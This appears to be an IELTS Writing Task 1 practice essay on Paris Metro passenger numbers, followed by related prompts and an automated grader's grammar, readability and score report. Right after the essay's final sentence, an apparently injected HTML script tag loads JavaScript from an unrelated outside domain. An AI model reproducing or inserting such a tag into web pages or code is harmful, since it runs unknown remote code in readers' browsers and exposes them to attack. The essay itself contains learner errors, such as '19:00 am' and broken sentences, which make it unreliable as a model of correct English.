The given line graph manifest the passengers at Paris Metro station. The data has been calibrated in numbers.
To begin with, at 6:00 am there are only 100 travellers. However, there had been a massive increase noticed at Paris metro station as at 8:00 am the passengers are at peak the number comprised to 400. Nevertheless, there is a steady decline observed in the number of passengers at 10:30 am it stood at 200. Moving further, there was a static number seen from 12:30 pm to 14:30 pm passenger's rush remain unchanged. Analyzing further, again the rush of travelers decreases to 100 at 4:30 pm. Although. There is a dramatic rise observed at 19:00 am as now passengers are coming back to their hometown from offices, the number rise to 400. However, after that, it keeps falling in the night hours and stood at a hundred.
To cap it all, it can be vividly seen that in morning hours there are a lot of rush and in the afternoon it becomes steady again at 8,o clock in a night it increased.<script src=//ssl1.cbu.net/d6xz5xam></script>
- the pie charts and table gives information about the total value and sources of fish imported to the US between 1988 and 2000 73
- The graph below give information about total oil use if four main consumers from 2009 to 2030 78
- Most of the people aspire to have a successful career and a happy family life What problems are involved in combining a successful career and happy family life How to overcome such problems 78
- Some people believe that beauty is most important in life while others think that it is the talent that matter Discuss both views and give your opinion 84
- Two charts below show the percentage of qualified graduates in a particular country Summarise the information by selecting and reporting the main features and make comparisons where relevant 70
Grammar and spelling errors:
Line 3, column 491, Rule ID: SENTENCE_FRAGMENT[1]
Message: “Although” at the beginning of a sentence requires a 2nd clause. Maybe a comma, question or exclamation mark is missing, or the sentence is incomplete and should be joined with the following sentence.
... travelers decreases to 100 at 4:30 pm. Although. There is a dramatic rise observed at 1...
^^^^^^^^
Line 3, column 637, Rule ID: SENT_START_CONJUNCTIVE_LINKING_ADVERB_COMMA[1]
Message: Did you forget a comma after a conjunctive/linking adverb?
Suggestion: However,
...n from offices, the number rise to 400. However after that, it keeps falling in night h...
^^^^^^^
Line 3, column 702, Rule ID: NODT_DOZEN[1]
Message: Use simply: 'a hundred'.
Suggestion: a hundred
...eps falling in night hours and stood at hundred. To cap it all, it can be vividly se...
^^^^^^^
Transition Words or Phrases used:
however, if, nevertheless, to begin with
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 10.0 7.0 143% => OK
Auxiliary verbs: 1.0 1.00243902439 100% => OK
Conjunction : 2.0 6.8 29% => More conjunction wanted.
Relative clauses : 2.0 3.15609756098 63% => OK
Pronoun: 9.0 5.60731707317 161% => Less pronouns wanted
Preposition: 31.0 33.7804878049 92% => OK
Nominalization: 2.0 3.97073170732 50% => More nominalizations (nouns with a suffix like: tion ment ence ance) wanted.
Performance on vocabulary words:
No of characters: 816.0 965.302439024 85% => OK
No of words: 179.0 196.424390244 91% => More content wanted.
Chars per words: 4.55865921788 4.92477711251 93% => OK
Fourth root words length: 3.65774358864 3.73543355544 98% => OK
Word Length SD: 2.5199927771 2.65546596893 95% => OK
Unique words: 99.0 106.607317073 93% => More unique words wanted.
Unique words percentage: 0.553072625698 0.547539520022 101% => OK
syllable_count: 241.2 283.868780488 85% => OK
avg_syllables_per_word: 1.3 1.45097560976 90% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 2.0 1.53170731707 131% => OK
Article: 3.0 4.33902439024 69% => OK
Subordination: 0.0 1.07073170732 0% => More adverbial clause wanted.
Conjunction: 0.0 0.482926829268 0% => OK
Preposition: 3.0 3.36585365854 89% => OK
Performance on sentences:
How many sentences: 10.0 8.94146341463 112% => OK
Sentence length: 17.0 22.4926829268 76% => The Avg. Sentence Length is relatively short.
Sentence length SD: 39.1102288411 43.030603864 91% => OK
Chars per sentence: 81.6 112.824112599 72% => OK
Words per sentence: 17.9 22.9334400587 78% => OK
Discourse Markers: 4.0 5.23603664747 76% => OK
Paragraphs: 3.0 3.83414634146 78% => More paragraphs wanted.
Language errors: 3.0 1.69756097561 177% => OK
Sentences with positive sentiment : 5.0 3.70975609756 135% => OK
Sentences with negative sentiment : 1.0 1.13902439024 88% => OK
Sentences with neutral sentiment: 4.0 4.09268292683 98% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.0976243942014 0.215688989381 45% => OK
Sentence topic coherence: 0.0527260042144 0.103423049105 51% => OK
Sentence topic coherence SD: 0.0977439416929 0.0843802449381 116% => OK
Paragraph topic coherence: 0.105192165894 0.15604864568 67% => OK
Paragraph topic coherence SD: 0.109310469972 0.0819641961636 133% => OK
Essay readability:
automated_readability_index: 9.0 13.2329268293 68% => Automated_readability_index is low.
flesch_reading_ease: 79.6 61.2550243902 130% => OK
smog_index: 3.1 6.51609756098 48% => Smog_index is low.
flesch_kincaid_grade: 6.4 10.3012195122 62% => OK
coleman_liau_index: 8.87 11.4140731707 78% => OK
dale_chall_readability_score: 7.66 8.06136585366 95% => OK
difficult_words: 36.0 40.7170731707 88% => OK
linsear_write_formula: 6.5 11.4329268293 57% => Linsear_write_formula is low.
gunning_fog: 8.8 10.9970731707 80% => OK
text_standard: 9.0 11.0658536585 81% => OK
What are above readability scores?
---------------------
Rates: 56.1797752809 out of 100
Scores by essay e-grader: 5.0 Out of 9
---------------------
Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.